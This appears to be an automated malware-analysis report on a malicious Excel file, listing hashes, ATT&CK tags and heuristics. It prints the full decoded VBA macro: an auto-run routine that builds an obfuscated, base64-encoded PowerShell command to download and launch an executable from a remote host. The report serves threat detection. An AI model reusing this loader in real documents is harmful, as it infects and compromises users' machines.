Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 497e61d23d55d38c…

MALICIOUS

Office (OLE)

10.5 KB First seen: 2021-10-23
MD5: efb15a2eb51de05f521130557a32577a SHA-1: a2cf9eb5ab003898f47bbd08688686e9ab1b1b04 SHA-256: 497e61d23d55d38c09150bc81d2b4788775e051fcb72f46737b999d7d3ec3668
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File T1566.001 Spearphishing Attachment

The VBA macro contains obfuscated strings that, when reassembled, construct a PowerShell command. This command is designed to download and execute a file from a specific URL, indicating a downloader or droppper functionality. The use of `Shell()` and the reassembled `PowerShell` keyword strongly suggest this malicious intent.

Heuristics 3

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6166 bytes
SHA-256: c9159d7100219f6c9f2094c2709d51d94d3251bb9be25953bd6b296d4b4a32e9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Private Sub Workbook_SheetBeforeRightClick(ByVal Sh As Object, ByVal Target As Range, Cancel As Boolean)

End Sub

Private Sub Workbook_SheetCalculate(ByVal Sh As Object)

End Sub

Private Sub Workbook_Activate()
On Error Resume Next
Dim i As Double
Dim batch As String
Dim call1 As String
Dim s As String
s = s + "start /MIN C:\Windo"
s = s + "ws\System32\" + "Wind" + "owsPo" + "werShe" + "ll\v1.0\pow" + "ersh" + "ell.exe"
s = s + " -win " + "1 -enc"
s = s + " "

s = s + "JABQAHIAbw"
s = s + "BjAE4AYQBt"
s = s + "AGUAIAA9AC"
s = s + "AAIgBPAHYA"
s = s + "agBuAHcAYg"
s = s + "B0AHEAbAB4"
s = s + "AG8AdABzAG"
s = s + "EAbAB4AHYA"
s = s + "agBnAGYALg"
s = s + "BlAHgAZQAi"
s = s + "ADsAKABOAG"
s = s + "UAdwAtAE8A"
s = s + "YgBqAGUAYw"
s = s + "B0ACAAUwB5"
s = s + "AHMAdABlAG"
s = s + "0ALgBOAGUA"
s = s + "dAAuAFcAZQ"
s = s + "BiAEMAbABp"
s = s + "AGUAbgB0AC"
s = s + "kALgBEAG8A"
s = s + "dwBuAGwAbw"
s = s + "BhAGQARgBp"
s = s + "AGwAZQAoAC"
s = s + "IAaAB0AHQA"
s = s + "cAA6AC8ALw"
s = s + "AxADgALgAx"
s = s + "ADkANQAuAD"
s = s + "EANAAzAC4A"
s = s + "MQA4ADMALw"
s = s + "A4AC8AOAAv"
s = s + "ADEAMAA1AD"
s = s + "AANwA4ADAA"
s = s + "MAAwADAAMQ"
s = s + "AzADYALgBl"
s = s + "AHgAZQAiAC"
s = s + "wAIgAkAGUA"
s = s + "bgB2ADoAQQ"
s = s + "BQAFAARABB"
s = s + "AFQAQQBcAC"
s = s + "QAUAByAG8A"
s = s + "YwBOAGEAbQ"
s = s + "BlACIAKQA7"
s = s + "AFMAdABhAH"
s = s + "IAdAAtAFAA"
s = s + "cgBvAGMAZQ"
s = s + "BzAHMAIAAo"
s = s + "ACIAJABlAG"
s = s + "4AdgA6AEEA"
s = s + "UABQAEQAQQ"
s = s + "BUAEEAXAAk"
s = s + "AFAAcgBvAG"
s = s + "MATgBhAG0A"
s = s + "ZQAiACkA"


ActiveWorkbook.Save
batch = "Nphbctwq.bat"
Open batch For Output As #1
    Print #1, s 
    Close #1
    i = Shell(batch, 0)

End Sub

Private Sub Cellss()

End Sub

Private Sub Workbook_SheetSelectionChange(ByVal Sh As Object, ByVal Target As Range)

End Sub



Attribute VB_Name = "Start"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "1. Add"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "2. Fill"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "3. Split"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "4. Transpose"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "5. Sort & filter"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "6. Tables"
Attribute VB_Base = "0{00020820-0000
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.